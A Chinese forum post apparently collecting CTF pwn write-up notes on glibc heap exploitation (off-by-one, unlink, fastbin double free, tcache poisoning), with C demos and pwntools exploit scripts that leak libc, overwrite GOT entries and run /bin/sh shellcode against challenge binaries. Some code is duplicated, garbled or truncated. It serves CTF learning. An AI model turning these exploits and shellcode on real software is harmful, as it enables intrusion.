首页
社区
课程
招聘
[分享]pwn部分简单堆利用记录
发表于: 2021-10-22 18:57 21640

[分享]pwn部分简单堆利用记录

2021-10-22 18:57
21640

记录内容借鉴来源https://www.yuque.com/cyberangel/rg9gdm/vsh3kd

溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)

可以造成堆重叠的效果这里就联合overlap,extend一起记录

demo

demo

demo

demo

demo

以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk

就可以控制pre_size同时配合off漏洞控制insure。

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13

off by one 漏洞

题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效

指针指向内容chunk,

我们利用off by one构造overlap形成堆复用,控制有效指针

exp

由于free后未置空指针,导致的use after free

亦或是,因为在heaparry中含有free or not的标识,但是功能中

含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)

由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用

附件下载:
链接:https://pan.baidu.com/s/19StzpwizVbeyNEcY48XcFQ
提取码:oqlh

unlink的公式如下

fd=point_addr-0x18

bk=point_addr-0x10

伪造chunk成功后会在下两次申请到的chunk申请到point_addr

以2014 HITCON stkof为例进行讲解:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
参考资料:
https://blog.csdn.net/qq_41202237/article/details/108481889 #主要思路
https://wzt.ac.cn/2018/10/16/s-pwn-project-4/ #payload来源
感谢@hollk师傅的文章
附件下载:
链接:https://pan.baidu.com/s/1tXTaLajFHdKB0Ofxnk8V4Q
提取码:z4p6

题目本身在edit的时候存在堆溢出,但是没有show所以需要构造

exp如下

demo

以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:https://github.com/mhzx020/Redirect
参考资料:https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
附件下载:
链接:https://pan.baidu.com/s/1pBxc_-8pqJr9MRlA2AvxHQ
提取码:2onz

简单题,给了后门,更改got表为后门地址,利用double更改指针就行了

epx

1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。

lctf2016_pwn200 https://gitee.com/LightInfection/ctf/tree/master

exp

在开始的money之后的输入存在栈溢出,而且没有'\x00'截断puts的时候就可以带出rbp

我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode

非常好的一道堆栈结合

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/#alloc-to-stack
https://xz.aliyun.com/t/7490
附件下载:
链接: https://pan.baidu.com/s/1dplP_JkSdl9M7F9sUEDVeQ 密码: mbht
--来自百度网盘超级会员V3的分享

参考资料:
https://wiki.x10sec.org/pwn/heap/fastbin_attack/#arbitrary-alloc
附件:
链接: https://pan.baidu.com/s/18qfkOMauvySSfHkSLjIvvQ 密码: 911k
--来自百度网盘超级会员V3的分享

fastbin_attack中的Arbitrary Alloc(例题)

题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化

附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
--来自百度网盘超级会员V3的分享

漏洞在edit存在堆溢出,堆溢出,打fastbin

exp

题目来源:HITCON Training lab14 magic heap
附件:
链接: https://pan.baidu.com/s/1xtxgobatE9yWFKkEsL6JLg 密码: 44km
--来自百度网盘超级会员V3的分享

白给题堆溢出,没开PIE直接打unsortedbin改bk

exp

tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。

demo

参考资料:
https://faraz.faith/2019-10-20-secconctf-2019-one/
https://github.com/SECCON/SECCON2019_online_CTF
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:https://pan.baidu.com/s/1nDee9BZ1RMhl3bfjHPSjsA 密码: 8qjs
--来自百度网盘超级会员V3的分享

题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok

直接改fd控制unsortedbin泄露libc打free_hook

exp

参考资料:
https://www.cnblogs.com/Theffth-blog/p/12790720.html
https://blog.csdn.net/weixin_43833642/article/details/107166551
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:https://pan.baidu.com/s/1T1pV_mbUEPXCg-vlu_Yw7w 密码: 5fnk
--来自百度网盘超级会员V3的分享

chunk大小小于0x100

UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩

exp

 
//gcc -g test1.c -o test1
#include<stdio.h>
int main(void){
    void *p, *q;
    p = malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk
    *(long long *)((long long)p - 0x8) = 0x41;// 修改第一个块的size域
    free(p);
    q = malloc(0x30);// 实现extend,控制了第二个块的内容
    return 0;
}
//gcc -g test1.c -o test1
#include<stdio.h>
int main(void){
    void *p, *q;
    p = malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk
    *(long long *)((long long)p - 0x8) = 0x41;// 修改第一个块的size域
    free(p);
    q = malloc(0x30);// 实现extend,控制了第二个块的内容
    return 0;
}
//gcc -g test2.c -o test2
#include<stdio.h>
int main()
{首先在第9行下断点b 9,我们看一下申请完三个chunk之后内存中的样子:
    void *p, *q;
    p = malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并
    *(long *)((long)p-0x8) = 0xb1;
    free(p);
    q = malloc(0xa0);
}
//gcc -g test2.c -o test2
#include<stdio.h>
int main()
{首先在第9行下断点b 9,我们看一下申请完三个chunk之后内存中的样子:
    void *p, *q;
    p = malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并
    *(long *)((long)p-0x8) = 0xb1;
    free(p);
    q = malloc(0xa0);
}
//gcc -g test3 -o test3
 #include<stdio.h>
 int main()
 {
    void *p, *q;
    p = malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(p);//首先进行释放,使得chunk1进入unsorted bin
    *(long *)((long)p - 0x8) = 0xb1;
    q = malloc(0xa0);
}
//gcc -g test3 -o test3
 #include<stdio.h>
 int main()
 {
    void *p, *q;
    p = malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(p);//首先进行释放,使得chunk1进入unsorted bin
    *(long *)((long)p - 0x8) = 0xb1;
    q = malloc(0xa0);
}
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
    void *p, *q;
    p = malloc(0x80);//分配第10x80 的chunk1
    malloc(0x10); //分配第20x10 的chunk2
    malloc(0x10); //分配第30x10 的chunk3
    malloc(0x10); //分配第40x10 的chunk4   
    *(long *)((long)p - 0x8) = 0x61;
    free(p);
    q = malloc(0x50);
}
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
    void *p, *q;
    p = malloc(0x80);//分配第10x80 的chunk1
    malloc(0x10); //分配第20x10 的chunk2
    malloc(0x10); //分配第30x10 的chunk3
    malloc(0x10); //分配第40x10 的chunk4   
    *(long *)((long)p - 0x8) = 0x61;
    free(p);
    q = malloc(0x50);
}
//gcc -g test5.c -o test5
#include<stdio.h>
int main(void)
{
    void *p, *q, *r, *t;
    p = malloc(128);//smallbin1
    q = malloc(0x10);//fastbin1
    r = malloc(0x10);//fastbin2
    t = malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(p);
    *(int *)((long long)t - 0x8) = 0x90;//修改pre_inuse域
    *(int *)((long long)t - 0x10) = 0xd0;//修改pre_size域
    free(t);//unlink进行前向extend
    malloc(0x150);//占位块
}
//gcc -g test5.c -o test5
#include<stdio.h>
int main(void)
{
    void *p, *q, *r, *t;
    p = malloc(128);//smallbin1
    q = malloc(0x10);//fastbin1
    r = malloc(0x10);//fastbin2
    t = malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(p);
    *(int *)((long long)t - 0x8) = 0x90;//修改pre_inuse域
    *(int *)((long long)t - 0x10) = 0xd0;//修改pre_size域
    free(t);//unlink进行前向extend
    malloc(0x150);//占位块
}
 
 
 
 
 
 
from pwn import *
context(log_level='DEBUG')
 
p = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
 
def create(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
 
def edit(idx, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil(":")
    p.sendline(content)
 
 
def show(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
def delete(idx):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
create(0x18, "hollk"
create(0x10, "hollk"
 
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
 
delete(1)
 
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free'])) 
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
 
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
 
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
 
edit(1, p64(system_addr))
#gdb.attach(p)
delete(0)
#gdb.attach(p)
p.interactive()
from pwn import *
context(log_level='DEBUG')
 
p = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
 
def create(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
 
def edit(idx, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil(":")
    p.sendline(content)
 
 
def show(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
def delete(idx):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
create(0x18, "hollk"
create(0x10, "hollk"
 
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
 
delete(1)
 
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free'])) 
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
 
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
 
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
 
edit(1, p64(system_addr))
#gdb.attach(p)
delete(0)
#gdb.attach(p)
p.interactive()
 
 
 
 
 
 
 
 
 
 
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
 
 
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
 
 
def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')
 
 
def free(idx):
    p.sendline('3')
    p.sendline(str(idx))
 
 
def exp():
    # trigger to malloc buffer for io function
    alloc(0x100# idx 1
 
    alloc(0x30# idx 2
    # small chunk size inorder to trigger unlink
    alloc(0x80# idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0#prev_size
    payload += p64(0x20#size
    payload += p64(head + 16 - 0x18#fd
    payload += p64(head + 16 - 0x10#bk
    payload += p64(0x20# next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)
 
    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()
 
 
if __name__ == "__main__":
    exp()
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
 
 
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
 
 
def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')
 
 
def free(idx):
    p.sendline('3')
    p.sendline(str(idx))
 
 
def exp():
    # trigger to malloc buffer for io function
    alloc(0x100# idx 1
 
    alloc(0x30# idx 2
    # small chunk size inorder to trigger unlink
    alloc(0x80# idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0#prev_size
    payload += p64(0x20#size
    payload += p64(head + 16 - 0x18#fd
    payload += p64(head + 16 - 0x10#bk
    payload += p64(0x20# next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)
 
    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()
 
 
if __name__ == "__main__":
    exp()
#include<stdio.h>
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk; 
} CHUNK,*PCHUNK;
 
CHUNK bss_chunk;
 
int main()
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
 
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
 
    free(chunk1);
    free(chunk2);
    free(chunk1);
 
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p\n",chunk_b);
    return 0;
}
#include<stdio.h>
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk; 
} CHUNK,*PCHUNK;
 
CHUNK bss_chunk;
 
int main()
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
 
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
 
    free(chunk1);
    free(chunk2);
    free(chunk1);
 
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p\n",chunk_b);
    return 0;
}
 
 
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
 
myelf = ELF("./paper")
io = process(myelf.path)
 
def add_paper(num, index, content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(num))
    io.recv()
    io.sendline(content)
 
def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))
 
add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
 
#gdb.attach(io)
 
del_paper(1)
del_paper(2)
del_paper(1)
 
#gdb.attach(io)
 
add_paper(0x30, 1, p64(0x60202a)) #chunk1
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"])) #0x60202a_chunk
#gdb.attach(io)
 
io.recv()
io.sendline("a")
#gdb.attach(io)
io.interactive()
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
 
myelf = ELF("./paper")
io = process(myelf.path)
 
def add_paper(num, index, content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(num))
    io.recv()
    io.sendline(content)
 
def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))
 
add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
 
#gdb.attach(io)
 
del_paper(1)
del_paper(2)
del_paper(1)
 
#gdb.attach(io)
 
add_paper(0x30, 1, p64(0x60202a)) #chunk1
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"])) #0x60202a_chunk
#gdb.attach(io)
 
io.recv()
io.sendline("a")
#gdb.attach(io)
io.interactive()
 
 
 
 
#encoding:utf-8
from pwn import *
 
#r = remote('127.0.0.1', 6666)
p = process("./pwn200")
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
def pwn():
    # gdb.attach(p, "b *0x400991")
 
    data = shellcode.ljust(46, 'a')
    data += 'bb'
    p.send(data)
    p.recvuntil('bb')
    rbp_addr = p.recvuntil(', w')[:-3]
    rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
    print hex(rbp_addr)
 
    fake_addr = rbp_addr - 0x90
    shellcode_addr = rbp_addr - 0x50
    # 输入id伪造下一个堆块的size
    p.recvuntil('id ~~?')
    p.sendline('32')
 
    p.recvuntil('money~')
    data = p64(0) * 5 + p64(0x41) # 伪造堆块的size
    data = data.ljust(0x38, '\x00') + p64(fake_addr) # 覆盖堆指针
    p.send(data)
 
    p.recvuntil('choice : ')
    p.sendline('2') # 释放伪堆块进入fastbin
 
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('long?')
    p.sendline('48')
    p.recvuntil('\n48\n') # 将伪堆块申请出来
    data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址
    data = data.ljust(48, '\x00')
    p.send(data)
    p.recvuntil('choice : ')
    p.sendline('3') # 退出返回时回去执行shellcode
 
    p.interactive()
 
if __name__ == '__main__':
    pwn()
#encoding:utf-8
from pwn import *
 
#r = remote('127.0.0.1', 6666)
p = process("./pwn200")
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
def pwn():
    # gdb.attach(p, "b *0x400991")
 
    data = shellcode.ljust(46, 'a')
    data += 'bb'
    p.send(data)
    p.recvuntil('bb')
    rbp_addr = p.recvuntil(', w')[:-3]
    rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
    print hex(rbp_addr)
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
兄弟有祥云杯2021升级密码箱这道题吗?有的话麻烦发到我qq邮箱谢谢:wait_3344@qq.com
2022-6-16 16:19
0
游客
登录 | 注册 方可回帖
返回
//